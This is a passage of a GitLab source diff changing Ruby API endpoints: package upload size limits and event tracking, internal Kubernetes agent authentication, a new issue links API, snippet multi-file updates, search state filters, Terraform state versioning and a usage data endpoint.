@@ -234,6 +270,10 @@ module API
token
end
+
+ def package_scope
+ params[:id].present? ? :project : :instance
+ end
end
end
end
diff --git a/lib/api/helpers/packages_helpers.rb b/lib/api/helpers/packages_helpers.rb
index c6037d52de9..403f5ea3851 100644
--- a/lib/api/helpers/packages_helpers.rb
+++ b/lib/api/helpers/packages_helpers.rb
@@ -47,6 +47,10 @@ module API
authorize_create_package!(subject)
require_gitlab_workhorse!
end
+
+ def package_event(event_name, **args)
+ track_event(event_name, **args)
+ end
end
end
end
diff --git a/lib/api/helpers/packages_manager_clients_helpers.rb b/lib/api/helpers/packages_manager_clients_helpers.rb
index 955d21cb44f..e7662b03577 100644
--- a/lib/api/helpers/packages_manager_clients_helpers.rb
+++ b/lib/api/helpers/packages_manager_clients_helpers.rb
@@ -6,18 +6,8 @@ module API
extend Grape::API::Helpers
include ::API::Helpers::PackagesHelpers
- params :workhorse_upload_params do
- optional 'file.path', type: String, desc: 'Path to locally stored body (generated by Workhorse)'
- optional 'file.name', type: String, desc: 'Real filename as send in Content-Disposition (generated by Workhorse)'
- optional 'file.type', type: String, desc: 'Real content type as send in Content-Type (generated by Workhorse)'
- optional 'file.size', type: Integer, desc: 'Real size of file (generated by Workhorse)'
- optional 'file.md5', type: String, desc: 'MD5 checksum of the file (generated by Workhorse)'
- optional 'file.sha1', type: String, desc: 'SHA1 checksum of the file (generated by Workhorse)'
- optional 'file.sha256', type: String, desc: 'SHA256 checksum of the file (generated by Workhorse)'
- end
-
def find_job_from_http_basic_auth
- return unless headers
+ return unless request.headers
token = decode_token
@@ -27,7 +17,7 @@ module API
end
def find_deploy_token_from_http_basic_auth
- return unless headers
+ return unless request.headers
token = decode_token
@@ -36,16 +26,10 @@ module API
DeployToken.active.find_by_token(token)
end
- def uploaded_package_file(param_name = :file)
- uploaded_file = UploadedFile.from_params(params, param_name, ::Packages::PackageFileUploader.workhorse_local_upload_path)
- bad_request!('Missing package file!') unless uploaded_file
- uploaded_file
- end
-
private
def decode_token
- encoded_credentials = headers['Authorization'].to_s.split('Basic ', 2).second
+ encoded_credentials = request.headers['Authorization'].to_s.split('Basic ', 2).second
Base64.decode64(encoded_credentials || '').split(':', 2).second
end
end
diff --git a/lib/api/helpers/search_helpers.rb b/lib/api/helpers/search_helpers.rb
index 936684ea1f8..cb5f92fa62a 100644
--- a/lib/api/helpers/search_helpers.rb
+++ b/lib/api/helpers/search_helpers.rb
@@ -17,6 +17,10 @@ module API
# This is a separate method so that EE can redefine it.
%w(issues merge_requests milestones notes wiki_blobs commits blobs users)
end
+
+ def self.search_states
+ %w(all opened closed merged)
+ end
end
end
end
diff --git a/lib/api/helpers/services_helpers.rb b/lib/api/helpers/services_helpers.rb
index ff938358439..4bceda51900 100644
--- a/lib/api/helpers/services_helpers.rb
+++ b/lib/api/helpers/services_helpers.rb
@@ -631,12 +631,26 @@ module API
name: :issues_url,
type: String,
desc: 'The issues URL'
+ }
+ ],
+ 'ewm' => [
+ {
+ required: true,
+ name: :new_issue_url,
+ type: String,
+ desc: 'New Issue URL'
},
{
- required: false,
- name: :description,
+ required: true,
+ name: :project_url,
+ type: String,
+ desc: 'Project URL'
+ },
+ {
+ required: true,
+ name: :issues_url,
type: String,
- desc: 'The description of the tracker'
+ desc: 'Issues URL'
}
],
'youtrack' => [
@@ -651,12 +665,6 @@ module API
name: :issues_url,
type: String,
desc: 'The issues URL'
- },
- {
- required: false,
- name: :description,
- type: String,
- desc: 'The description of the tracker'
}
],
'slack' => [
@@ -747,6 +755,7 @@ module API
::DiscordService,
::DroneCiService,
::EmailsOnPushService,
+ ::EwmService,
::ExternalWikiService,
::FlowdockService,
::HangoutsChatService,
diff --git a/lib/api/helpers/snippets_helpers.rb b/lib/api/helpers/snippets_helpers.rb
index 79367da8d1f..9224381735f 100644
--- a/lib/api/helpers/snippets_helpers.rb
+++ b/lib/api/helpers/snippets_helpers.rb
@@ -27,6 +27,24 @@ module API
exactly_one_of :files, :content
end
+ params :update_file_params do |options|
+ optional :files, type: Array, desc: 'An array of files to update' do
+ requires :action, type: String,
+ values: SnippetInputAction::ACTIONS.map(&:to_s),
+ desc: "The type of action to perform on the file, must be one of: #{SnippetInputAction::ACTIONS.join(", ")}"
+ optional :content, type: String, desc: 'The content of a snippet'
+ optional :file_path, file_path: true, type: String, desc: 'The file path of a snippet file'
+ optional :previous_path, file_path: true, type: String, desc: 'The previous path of a snippet file'
+ end
+
+ mutually_exclusive :files, :content
+ mutually_exclusive :files, :file_name
+ end
+
+ params :minimum_update_params do
+ at_least_one_of :content, :description, :files, :file_name, :title, :visibility
+ end
+
def content_for(snippet)
if snippet.empty_repo?
env['api.format'] = :txt
@@ -53,10 +71,30 @@ module API
end
end
- def process_file_args(args)
- args[:snippet_actions] = args.delete(:files)&.map do |file|
- file[:action] = :create
- file.symbolize_keys
+ def process_create_params(args)
+ with_api_params do |api_params|
+ args[:snippet_actions] = args.delete(:files)&.map do |file|
+ file[:action] = :create
+ file.symbolize_keys
+ end
+
+ args.merge(api_params)
+ end
+ end
+
+ def process_update_params(args)
+ with_api_params do |api_params|
+ args[:snippet_actions] = args.delete(:files)&.map(&:symbolize_keys)
+
+ args.merge(api_params)
+ end
+ end
+
+ def validate_params_for_multiple_files(snippet)
+ return unless params[:content] || params[:file_name]
+
+ if Feature.enabled?(:snippet_multiple_files, current_user) && snippet.multiple_files?
+ render_api_error!({ error: _('To update Snippets with multiple files, you must use the `files` parameter') }, 400)
end
end
end
diff --git a/lib/api/internal/base.rb b/lib/api/internal/base.rb
index 17599c72243..ff687a57888 100644
--- a/lib/api/internal/base.rb
+++ b/lib/api/internal/base.rb
@@ -241,14 +241,16 @@ module API
break { success: false, message: "Invalid token expiry date: '#{params[:expires_at]}'" }
end
- access_token = nil
+ result = ::PersonalAccessTokens::CreateService.new(
+ user, name: params[:name], scopes: params[:scopes], expires_at: expires_at
+ ).execute
- ::Users::UpdateService.new(current_user, user: user).execute! do |user|
- access_token = user.personal_access_tokens.create!(
- name: params[:name], scopes: params[:scopes], expires_at: expires_at
- )
+ unless result.status == :success
+ break { success: false, message: "Failed to create token: #{result.message}" }
end
+ access_token = result.payload[:personal_access_token]
+
{ success: true, token: access_token.token, scopes: access_token.scopes, expires_at: access_token.expires_at }
end
diff --git a/lib/api/internal/kubernetes.rb b/lib/api/internal/kubernetes.rb
index 7f64fd7efe3..6d5dfd086e7 100644
--- a/lib/api/internal/kubernetes.rb
+++ b/lib/api/internal/kubernetes.rb
@@ -4,7 +4,16 @@ module API
# Kubernetes Internal API
module Internal
class Kubernetes < Grape::API::Instance
+ before do
+ check_feature_enabled
+ authenticate_gitlab_kas_request!
+ end
+
helpers do
+ def authenticate_gitlab_kas_request!
+ unauthorized! unless Gitlab::Kas.verify_api_request(headers)
+ end
+
def agent_token
@agent_token ||= cluster_agent_token_from_authorization_token
end
@@ -36,7 +45,7 @@ module API
end
def check_feature_enabled
- not_found! unless Feature.enabled?(:kubernetes_agent_internal_api)
+ not_found! unless Feature.enabled?(:kubernetes_agent_internal_api, default_enabled: true, type: :ops)
end
def check_agent_token
@@ -47,7 +56,6 @@ module API
namespace 'internal' do
namespace 'kubernetes' do
before do
- check_feature_enabled
check_agent_token
end
@@ -89,6 +97,26 @@ module API
}
end
end
+
+ namespace 'kubernetes/usage_metrics' do
+ desc 'POST usage metrics' do
+ detail 'Updates usage metrics for agent'
+ end
+ params do
+ requires :gitops_sync_count, type: Integer, desc: 'The count to increment the gitops_sync metric by'
+ end
+ post '/' do
+ gitops_sync_count = params[:gitops_sync_count]
+
+ if gitops_sync_count < 0
+ bad_request!('gitops_sync_count must be greater than or equal to zero')
+ else
+ Gitlab::UsageDataCounters::KubernetesAgentCounter.increment_gitops_sync(gitops_sync_count)
+
+ no_content!
+ end
+ end
+ end
end
end
end
diff --git a/lib/api/issue_links.rb b/lib/api/issue_links.rb
new file mode 100644
index 00000000000..6cc5b344f47
--- /dev/null
+++ b/lib/api/issue_links.rb
@@ -0,0 +1,82 @@
+# frozen_string_literal: true
+
+module API
+ class IssueLinks < Grape::API::Instance
+ include PaginationParams
+
+ before { authenticate! }
+
+ params do
+ requires :id, type: String, desc: 'The ID of a project'
+ requires :issue_iid, type: Integer, desc: 'The internal ID of a project issue'
+ end
+ resource :projects, requirements: { id: %r{[^/]+} } do
+ desc 'Get related issues' do
+ success Entities::RelatedIssue
+ end
+ get ':id/issues/:issue_iid/links' do
+ source_issue = find_project_issue(params[:issue_iid])
+ related_issues = source_issue.related_issues(current_user)
+
+ present related_issues,
+ with: Entities::RelatedIssue,
+ current_user: current_user,
+ project: user_project
+ end
+
+ desc 'Relate issues' do
+ success Entities::IssueLink
+ end
+ params do
+ requires :target_project_id, type: String, desc: 'The ID of the target project'
+ requires :target_issue_iid, type: Integer, desc: 'The IID of the target issue'
+ optional :link_type, type: String, values: IssueLink.link_types.keys,
+ desc: 'The type of the relation'
+ end
+ # rubocop: disable CodeReuse/ActiveRecord
+ post ':id/issues/:issue_iid/links' do
+ source_issue = find_project_issue(params[:issue_iid])
+ target_issue = find_project_issue(declared_params[:target_issue_iid],
+ declared_params[:target_project_id])
+
+ create_params = { target_issuable: target_issue, link_type: declared_params[:link_type] }
+
+ result = ::IssueLinks::CreateService
+ .new(source_issue, current_user, create_params)
+ .execute
+
+ if result[:status] == :success
+ issue_link = IssueLink.find_by!(source: source_issue, target: target_issue)
+
+ present issue_link, with: Entities::IssueLink
+ else
+ render_api_error!(result[:message], result[:http_status])
+ end
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+
+ desc 'Remove issues relation' do
+ success Entities::IssueLink
+ end
+ params do
+ requires :issue_link_id, type: Integer, desc: 'The ID of an issue link'
+ end
+ delete ':id/issues/:issue_iid/links/:issue_link_id' do
+ issue_link = IssueLink.find(declared_params[:issue_link_id])
+
+ find_project_issue(params[:issue_iid])
+ find_project_issue(issue_link.target.iid.to_s, issue_link.target.project_id.to_s)
+
+ result = ::IssueLinks::DestroyService
+ .new(issue_link, current_user)
+ .execute
+
+ if result[:status] == :success
+ present issue_link, with: Entities::IssueLink
+ else
+ render_api_error!(result[:message], result[:http_status])
+ end
+ end
+ end
+ end
+end
diff --git a/lib/api/issues.rb b/lib/api/issues.rb
index 1694a967f26..0e5b0fae6e2 100644
--- a/lib/api/issues.rb
+++ b/lib/api/issues.rb
@@ -114,6 +114,19 @@ module API
present issues, options
end
+
+ desc "Get specified issue (admin only)" do
+ success Entities::Issue
+ end
+ params do
+ requires :id, type: String, desc: 'The ID of the Issue'
+ end
+ get ":id" do
+ authenticated_as_admin!
+ issue = Issue.find(params['id'])
+
+ present issue, with: Entities::Issue, current_user: current_user, project: issue.project
+ end
end
params do
diff --git a/lib/api/jobs.rb b/lib/api/jobs.rb
index 084c146abe7..ad46d948f3b 100644
--- a/lib/api/jobs.rb
+++ b/lib/api/jobs.rb
@@ -48,54 +48,6 @@ module API
end
# rubocop: enable CodeReuse/ActiveRecord
- desc 'Get pipeline jobs' do
- success Entities::Ci::Job
- end
- params do
- requires :pipeline_id, type: Integer, desc: 'The pipeline ID'
- use :optional_scope
- use :pagination
- end
- # rubocop: disable CodeReuse/ActiveRecord
- get ':id/pipelines/:pipeline_id/jobs' do
- authorize!(:read_pipeline, user_project)
- pipeline = user_project.all_pipelines.find(params[:pipeline_id])
- authorize!(:read_build, pipeline)
-
- builds = pipeline.builds
- builds = filter_builds(builds, params[:scope])
- builds = builds.preload(:job_artifacts_archive, :job_artifacts, project: [:namespace])
-
- present paginate(builds), with: Entities::Ci::Job
- end
- # rubocop: enable CodeReuse/ActiveRecord
-
- desc 'Get pipeline bridge jobs' do
- success ::API::Entities::Ci::Bridge
- end
- params do
- requires :pipeline_id, type: Integer, desc: 'The pipeline ID'
- use :optional_scope
- use :pagination
- end
- # rubocop: disable CodeReuse/ActiveRecord
- get ':id/pipelines/:pipeline_id/bridges' do
- authorize!(:read_build, user_project)
- pipeline = user_project.ci_pipelines.find(params[:pipeline_id])
- authorize!(:read_pipeline, pipeline)
-
- bridges = pipeline.bridges
- bridges = filter_builds(bridges, params[:scope])
- bridges = bridges.preload(
- :metadata,
- downstream_pipeline: [project: [:route, { namespace: :route }]],
- project: [:namespace]
- )
-
- present paginate(bridges), with: ::API::Entities::Ci::Bridge
- end
- # rubocop: enable CodeReuse/ActiveRecord
-
desc 'Get a specific job of a project' do
success Entities::Ci::Job
end
diff --git a/lib/api/maven_packages.rb b/lib/api/maven_packages.rb
index 32a45c59cfa..e6d9a9a7c20 100644
--- a/lib/api/maven_packages.rb
+++ b/lib/api/maven_packages.rb
@@ -107,7 +107,7 @@ module API
when 'sha1'
package_file.file_sha1
else
- track_event('pull_package') if jar_file?(format)
+ package_event('pull_package') if jar_file?(format)
present_carrierwave_file_with_head_support!(package_file.file)
end
end
@@ -145,7 +145,7 @@ module API
when 'sha1'
package_file.file_sha1
else
- track_event('pull_package') if jar_file?(format)
+ package_event('pull_package') if jar_file?(format)
present_carrierwave_file_with_head_support!(package_file.file)
end
@@ -181,7 +181,7 @@ module API
when 'sha1'
package_file.file_sha1
else
- track_event('pull_package') if jar_file?(format)
+ package_event('pull_package') if jar_file?(format)
present_carrierwave_file_with_head_support!(package_file.file)
end
@@ -200,7 +200,7 @@ module API
status 200
content_type Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE
- ::Packages::PackageFileUploader.workhorse_authorize(has_length: true)
+ ::Packages::PackageFileUploader.workhorse_authorize(has_length: true, maximum_size: user_project.actual_limits.maven_max_file_size)
end
desc 'Upload the maven package file' do
@@ -214,6 +214,7 @@ module API
route_setting :authentication, job_token_allowed: true, deploy_token_allowed: true
put ':id/packages/maven/*path/:file_name', requirements: MAVEN_ENDPOINT_REQUIREMENTS do
authorize_upload!
+ bad_request!('File is too large') if user_project.actual_limits.exceeded?(:maven_max_file_size, params[:file].size)
file_name, format = extract_format(params[:file_name])
@@ -232,7 +233,7 @@ module API
when 'md5'
nil
else
- track_event('push_package') if jar_file?(format)
+ package_event('push_package') if jar_file?(format)
file_params = {
file: params[:file],
diff --git a/lib/api/merge_requests.rb b/lib/api/merge_requests.rb
index 6f25df720c4..4bd72b267a9 100644
--- a/lib/api/merge_requests.rb
+++ b/lib/api/merge_requests.rb
@@ -29,11 +29,13 @@ module API
remove_labels
milestone_id
remove_source_branch
- state_event
+ allow_collaboration
+ allow_maintainer_to_push
+ squash
target_branch
title
+ state_event
discussion_locked
- squash
]
end
@@ -154,13 +156,13 @@ module API
helpers do
params :optional_params do
- optional :description, type: String, desc: 'The description of the merge request'
optional :assignee_id, type: Integer, desc: 'The ID of a user to assign the merge request'
optional :assignee_ids, type: Array[Integer], coerce_with: ::API::Validations::Types::CommaSeparatedToIntegerArray.coerce, desc: 'The array of user IDs to assign issue'
- optional :milestone_id, type: Integer, desc: 'The ID of a milestone to assign the merge request'
+ optional :description, type: String, desc: 'The description of the merge request'
optional :labels, type: Array[String], coerce_with: Validations::Types::CommaSeparatedToArray.coerce, desc: 'Comma-separated list of label names'
optional :add_labels, type: Array[String], coerce_with: Validations::Types::CommaSeparatedToArray.coerce, desc: 'Comma-separated list of label names'
optional :remove_labels, type: Array[String], coerce_with: Validations::Types::CommaSeparatedToArray.coerce, desc: 'Comma-separated list of label names'
+ optional :milestone_id, type: Integer, desc: 'The ID of a milestone to assign the merge request'
optional :remove_source_branch, type: Boolean, desc: 'Remove source branch when merging'
optional :allow_collaboration, type: Boolean, desc: 'Allow commits from members who can merge to the target branch'
optional :allow_maintainer_to_push, type: Boolean, as: :allow_collaboration, desc: '[deprecated] See allow_collaboration'
diff --git a/lib/api/npm_packages.rb b/lib/api/npm_packages.rb
index 21ca57b7985..fca405b76b7 100644
--- a/lib/api/npm_packages.rb
+++ b/lib/api/npm_packages.rb
@@ -141,7 +141,7 @@ module API
package_file = ::Packages::PackageFileFinder
.new(package, params[:file_name]).execute!
- track_event('pull_package')
+ package_event('pull_package')
present_carrierwave_file!(package_file.file)
end
@@ -157,7 +157,7 @@ module API
put ':id/packages/npm/:package_name', requirements: NPM_ENDPOINT_REQUIREMENTS do
authorize_create_package!(user_project)
- track_event('push_package')
+ package_event('push_package')
created_package = ::Packages::Npm::CreatePackageService
.new(user_project, current_user, params.merge(build: current_authenticated_job)).execute
diff --git a/lib/api/nuget_packages.rb b/lib/api/nuget_packages.rb
index 56c4de2071d..f84a3acbe6d 100644
--- a/lib/api/nuget_packages.rb
+++ b/lib/api/nuget_packages.rb
@@ -92,6 +92,7 @@ module API
put do
authorize_upload!(authorized_user_project)
+ bad_request!('File is too large') if authorized_user_project.actual_limits.exceeded?(:nuget_max_file_size, params[:package].size)
file_params = params.merge(
file: params[:package],
@@ -104,7 +105,7 @@ module API
package_file = ::Packages::CreatePackageFileService.new(package, file_params)
.execute
- track_event('push_package')
+ package_event('push_package')
::Packages::Nuget::ExtractionWorker.perform_async(package_file.id) # rubocop:disable CodeReuse/Worker
@@ -118,7 +119,11 @@ module API
route_setting :authentication, deploy_token_allowed: true, job_token_allowed: :basic_auth, basic_auth_personal_access_token: true
put 'authorize' do
- authorize_workhorse!(subject: authorized_user_project, has_length: false)
+ authorize_workhorse!(
+ subject: authorized_user_project,
+ has_length: false,
+ maximum_size: authorized_user_project.actual_limits.nuget_max_file_size
+ )
end
params do
@@ -193,7 +198,7 @@ module API
not_found!('Package') unless package_file
- track_event('pull_package')
+ package_event('pull_package')
# nuget and dotnet don't support 302 Moved status codes, supports_direct_download has to be set to false
present_carrierwave_file!(package_file.file, supports_direct_download: false)
@@ -228,7 +233,7 @@ module API
.new(authorized_user_project, params[:q], search_options)
.execute
- track_event('search_package')
+ package_event('search_package')
present ::Packages::Nuget::SearchResultsPresenter.new(search),
with: ::API::Entities::Nuget::SearchResults
diff --git a/lib/api/project_snippets.rb b/lib/api/project_snippets.rb
index fba4c60504f..f6e87fece89 100644
--- a/lib/api/project_snippets.rb
+++ b/lib/api/project_snippets.rb
@@ -64,12 +64,8 @@ module API
end
post ":id/snippets" do
authorize! :create_snippet, user_project
- snippet_params = declared_params(include_missing: false).tap do |create_args|
- create_args[:request] = request
- create_args[:api] = true
- process_file_args(create_args)
- end
+ snippet_params = process_create_params(declared_params(include_missing: false))
service_response = ::Snippets::CreateService.new(user_project, current_user, snippet_params).execute
snippet = service_response.payload[:snippet]
@@ -88,14 +84,16 @@ module API
end
params do
requires :snippet_id, type: Integer, desc: 'The ID of a project snippet'
- optional :title, type: String, allow_blank: false, desc: 'The title of the snippet'
- optional :file_name, type: String, desc: 'The file name of the snippet'
optional :content, type: String, allow_blank: false, desc: 'The content of the snippet'
optional :description, type: String, desc: 'The description of a snippet'
+ optional :file_name, type: String, desc: 'The file name of the snippet'
+ optional :title, type: String, allow_blank: false, desc: 'The title of the snippet'
optional :visibility, type: String,
values: Gitlab::VisibilityLevel.string_values,
desc: 'The visibility of the snippet'
- at_least_one_of :title, :file_name, :content, :visibility_level
+
+ use :update_file_params
+ use :minimum_update_params
end
# rubocop: disable CodeReuse/ActiveRecord
put ":id/snippets/:snippet_id" do
@@ -104,8 +102,9 @@ module API
authorize! :update_snippet, snippet
- snippet_params = declared_params(include_missing: false)
- .merge(request: request, api: true)
+ validate_params_for_multiple_files(snippet)
+
+ snippet_params = process_update_params(declared_params(include_missing: false))
service_response = ::Snippets::UpdateService.new(user_project, current_user, snippet_params).execute(snippet)
snippet = service_response.payload[:snippet]
diff --git a/lib/api/pypi_packages.rb b/lib/api/pypi_packages.rb
index 739928a61ed..c07db68f8a8 100644
--- a/lib/api/pypi_packages.rb
+++ b/lib/api/pypi_packages.rb
@@ -64,7 +64,7 @@ module API
requires :sha256, type: String, desc: 'The PyPi package sha256 check sum'
end
- route_setting :authentication, deploy_token_allowed: true, basic_auth_personal_access_token: true
+ route_setting :authentication, deploy_token_allowed: true, basic_auth_personal_access_token: true, job_token_allowed: :basic_auth
get 'files/:sha256/*file_identifier' do
project = unauthorized_user_project!
@@ -72,7 +72,7 @@ module API
package = packages_finder(project).by_file_name_and_sha256(filename, params[:sha256])
package_file = ::Packages::PackageFileFinder.new(package, filename, with_file_name_like: false).execute
- track_event('pull_package')
+ package_event('pull_package')
present_carrierwave_file!(package_file.file, supports_direct_download: true)
end
@@ -87,11 +87,11 @@ module API
# An Api entry point but returns an HTML file instead of JSON.
# PyPi simple API returns the package descriptor as a simple HTML file.
- route_setting :authentication, deploy_token_allowed: true, basic_auth_personal_access_token: true
+ route_setting :authentication, deploy_token_allowed: true, basic_auth_personal_access_token: true, job_token_allowed: :basic_auth
get 'simple/*package_name', format: :txt do
authorize_read_package!(authorized_user_project)
- track_event('list_package')
+ package_event('list_package')
packages = find_package_versions
presenter = ::Packages::Pypi::PackagePresenter.new(packages, authorized_user_project)
@@ -117,11 +117,12 @@ module API
optional :sha256_digest, type: String
end
- route_setting :authentication, deploy_token_allowed: true, basic_auth_personal_access_token: true
+ route_setting :authentication, deploy_token_allowed: true, basic_auth_personal_access_token: true, job_token_allowed: :basic_auth
post do
authorize_upload!(authorized_user_project)
+ bad_request!('File is too large') if authorized_user_project.actual_limits.exceeded?(:pypi_max_file_size, params[:content].size)
- track_event('push_package')
+ package_event('push_package')
::Packages::Pypi::CreatePackageService
.new(authorized_user_project, current_user, declared_params)
@@ -134,9 +135,13 @@ module API
forbidden!
end
- route_setting :authentication, deploy_token_allowed: true, basic_auth_personal_access_token: true
+ route_setting :authentication, deploy_token_allowed: true, basic_auth_personal_access_token: true, job_token_allowed: :basic_auth
post 'authorize' do
- authorize_workhorse!(subject: authorized_user_project, has_length: false)
+ authorize_workhorse!(
+ subject: authorized_user_project,
+ has_length: false,
+ maximum_size: authorized_user_project.actual_limits.pypi_max_file_size
+ )
end
end
end
diff --git a/lib/api/search.rb b/lib/api/search.rb
index 53095e0b81a..b9c6a823f4f 100644
--- a/lib/api/search.rb
+++ b/lib/api/search.rb
@@ -32,6 +32,7 @@ module API
search_params = {
scope: params[:scope],
search: params[:search],
+ state: params[:state],
snippets: snippets?,
page: params[:page],
per_page: params[:per_page]
@@ -79,6 +80,7 @@ module API
type: String,
desc: 'The scope of the search',
values: Helpers::SearchHelpers.global_search_scopes
+ optional :state, type: String, desc: 'Filter results by state', values: Helpers::SearchHelpers.search_states
use :pagination
end
get do
@@ -100,6 +102,7 @@ module API
type: String,
desc: 'The scope of the search',
values: Helpers::SearchHelpers.group_search_scopes
+ optional :state, type: String, desc: 'Filter results by state', values: Helpers::SearchHelpers.search_states
use :pagination
end
get ':id/(-/)search' do
@@ -122,6 +125,7 @@ module API
desc: 'The scope of the search',
values: Helpers::SearchHelpers.project_search_scopes
optional :ref, type: String, desc: 'The name of a repository branch or tag. If not given, the default branch is used'
+ optional :state, type: String, desc: 'Filter results by state', values: Helpers::SearchHelpers.search_states
use :pagination
end
get ':id/(-/)search' do
diff --git a/lib/api/settings.rb b/lib/api/settings.rb
index f2e0aaecfb9..6e5534d0c9a 100644
--- a/lib/api/settings.rb
+++ b/lib/api/settings.rb
@@ -61,6 +61,10 @@ module API
end
optional :email_author_in_body, type: Boolean, desc: 'Some email servers do not support overriding the email sender name. Enable this option to include the name of the author of the issue, merge request or comment in the email body instead.'
optional :enabled_git_access_protocol, type: String, values: %w[ssh http nil], desc: 'Allow only the selected protocols to be used for Git access.'
+ optional :gitpod_enabled, type: Boolean, desc: 'Enable Gitpod'
+ given gitpod_enabled: ->(val) { val } do
+ requires :gitpod_url, type: String, desc: 'The configured Gitpod instance URL'
+ end
optional :gitaly_timeout_default, type: Integer, desc: 'Default Gitaly timeout, in seconds. Set to 0 to disable timeouts.'
optional :gitaly_timeout_fast, type: Integer, desc: 'Gitaly fast operation timeout, in seconds. Set to 0 to disable timeouts.'
optional :gitaly_timeout_medium, type: Integer, desc: 'Medium Gitaly timeout, in seconds. Set to 0 to disable timeouts.'
@@ -140,11 +144,9 @@ module API
end
optional :terminal_max_session_time, type: Integer, desc: 'Maximum time for web terminal websocket connection (in seconds). Set to 0 for unlimited time.'
optional :usage_ping_enabled, type: Boolean, desc: 'Every week GitLab will report license usage back to GitLab, Inc.'
- optional :instance_statistics_visibility_private, type: Boolean, desc: 'When set to `true` Instance statistics will only be available to admins'
optional :local_markdown_version, type: Integer, desc: 'Local markdown version, increase this value when any cached markdown should be invalidated'
optional :allow_local_requests_from_hooks_and_services, type: Boolean, desc: 'Deprecated: Use :allow_local_requests_from_web_hooks_and_services instead. Allow requests to the local network from hooks and services.' # support legacy names, can be removed in v5
optional :snowplow_enabled, type: Grape::API::Boolean, desc: 'Enable Snowplow tracking'
- optional :snowplow_iglu_registry_url, type: String, desc: 'The Snowplow base Iglu Schema Registry URL to use for custom context and self describing events'
given snowplow_enabled: ->(val) { val } do
requires :snowplow_collector_hostname, type: String, desc: 'The Snowplow collector hostname'
optional :snowplow_cookie_domain, type: String, desc: 'The Snowplow cookie domain'
@@ -152,6 +154,7 @@ module API
end
optional :issues_create_limit, type: Integer, desc: "Maximum number of issue creation requests allowed per minute per user. Set to 0 for unlimited requests per minute."
optional :raw_blob_request_limit, type: Integer, desc: "Maximum number of requests per minute for each raw path. Set to 0 for unlimited requests per minute."
+ optional :wiki_page_max_content_bytes, type: Integer, desc: "Maximum wiki page content size in bytes"
ApplicationSetting::SUPPORTED_KEY_TYPES.each do |type|
optional :"#{type}_key_restriction",
diff --git a/lib/api/sidekiq_metrics.rb b/lib/api/sidekiq_metrics.rb
index de1373144e3..77f2b1e871e 100644
--- a/lib/api/sidekiq_metrics.rb
+++ b/lib/api/sidekiq_metrics.rb
@@ -17,7 +17,7 @@ module API
end
def process_metrics
- Sidekiq::ProcessSet.new.map do |process|
+ Sidekiq::ProcessSet.new(false).map do |process|
{
hostname: process['hostname'],
pid: process['pid'],
diff --git a/lib/api/snippets.rb b/lib/api/snippets.rb
index 1a3283aed98..c6ef35875fc 100644
--- a/lib/api/snippets.rb
+++ b/lib/api/snippets.rb
@@ -76,12 +76,7 @@ module API
post do
authorize! :create_snippet
- attrs = declared_params(include_missing: false).tap do |create_args|
- create_args[:request] = request
- create_args[:api] = true
-
- process_file_args(create_args)
- end
+ attrs = process_create_params(declared_params(include_missing: false))
service_response = ::Snippets::CreateService.new(nil, current_user, attrs).execute
snippet = service_response.payload[:snippet]
@@ -99,16 +94,19 @@ module API
detail 'This feature was introduced in GitLab 8.15.'
success Entities::PersonalSnippet
end
+
params do
requires :id, type: Integer, desc: 'The ID of a snippet'
- optional :title, type: String, allow_blank: false, desc: 'The title of a snippet'
- optional :file_name, type: String, desc: 'The name of a snippet file'
optional :content, type: String, allow_blank: false, desc: 'The content of a snippet'
optional :description, type: String, desc: 'The description of a snippet'
+ optional :file_name, type: String, desc: 'The name of a snippet file'
+ optional :title, type: String, allow_blank: false, desc: 'The title of a snippet'
optional :visibility, type: String,
values: Gitlab::VisibilityLevel.string_values,
desc: 'The visibility of the snippet'
- at_least_one_of :title, :file_name, :content, :visibility
+
+ use :update_file_params
+ use :minimum_update_params
end
put ':id' do
snippet = snippets_for_current_user.find_by_id(params.delete(:id))
@@ -116,8 +114,12 @@ module API
authorize! :update_snippet, snippet
- attrs = declared_params(include_missing: false).merge(request: request, api: true)
+ validate_params_for_multiple_files(snippet)
+
+ attrs = process_update_params(declared_params(include_missing: false))
+
service_response = ::Snippets::UpdateService.new(nil, current_user, attrs).execute(snippet)
+
snippet = service_response.payload[:snippet]
if service_response.success?
diff --git a/lib/api/terraform/state.rb b/lib/api/terraform/state.rb
index f6e966defce..7063a3d08b5 100644
--- a/lib/api/terraform/state.rb
+++ b/lib/api/terraform/state.rb
@@ -35,10 +35,10 @@ module API
route_setting :authentication, basic_auth_personal_access_token: true, job_token_allowed: :basic_auth
get do
remote_state_handler.find_with_lock do |state|
- no_content! unless state.file.exists?
+ no_content! unless state.latest_file && state.latest_file.exists?
env['api.format'] = :binary # this bypasses json serialization
- body state.file.read
+ body state.latest_file.read
status :ok
end
end
@@ -52,8 +52,7 @@ module API
no_content! if data.empty?
remote_state_handler.handle_with_lock do |state|
- state.file = CarrierWaveStringFile.new(data)
- state.save!
+ state.update_file!(CarrierWaveStringFile.new(data), version: params[:serial])
status :ok
end
end
diff --git a/lib/api/todos.rb b/lib/api/todos.rb
index 4a73e3e0e94..5eae92a251e 100644
--- a/lib/api/todos.rb
+++ b/lib/api/todos.rb
@@ -39,8 +39,17 @@ module API
resource :todos do
helpers do
+ params :todo_filters do
+ optional :action, String, values: Todo::ACTION_NAMES.values.map(&:to_s)
+ optional :author_id, Integer
+ optional :state, String, values: Todo.state_machine.states.map(&:name).map(&:to_s)
+ optional :type, String, values: TodosFinder.todo_types
+ optional :project_id, Integer
+ optional :group_id, Integer
+ end
+
def find_todos
- TodosFinder.new(current_user, params).execute
+ TodosFinder.new(current_user, declared_params(include_missing: false)).execute
end
def issuable_and_awardable?(type)
@@ -72,7 +81,7 @@ module API
success Entities::Todo
end
params do
- use :pagination
+ use :pagination, :todo_filters
end
get do
todos = paginate(find_todos.with_entity_associations)
diff --git a/lib/api/usage_data.rb b/lib/api/usage_data.rb
new file mode 100644
index 00000000000..a1512197ee1
--- /dev/null
+++ b/lib/api/usage_data.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+module API
+ class UsageData < Grape::API::Instance
+ before { authenticate! }
+
+ namespace 'usage_data' do
+ before do
+ not_found! unless Feature.enabled?(:usage_data_api)
+ forbidden!('Invalid CSRF token is provided') unless verified_request?
+ end
+
+ desc 'Track usage data events' do
+ detail 'This feature was introduced in GitLab 13.4.'
+ end
+
+ params do
+ requires :event, type: String, desc: 'The event name that should be tracked'
+ end
+
+ post 'increment_unique_users' do
+ event_name = params[:event]
+
+ increment_unique_values(event_name, current_user.id)
+
+ status :ok
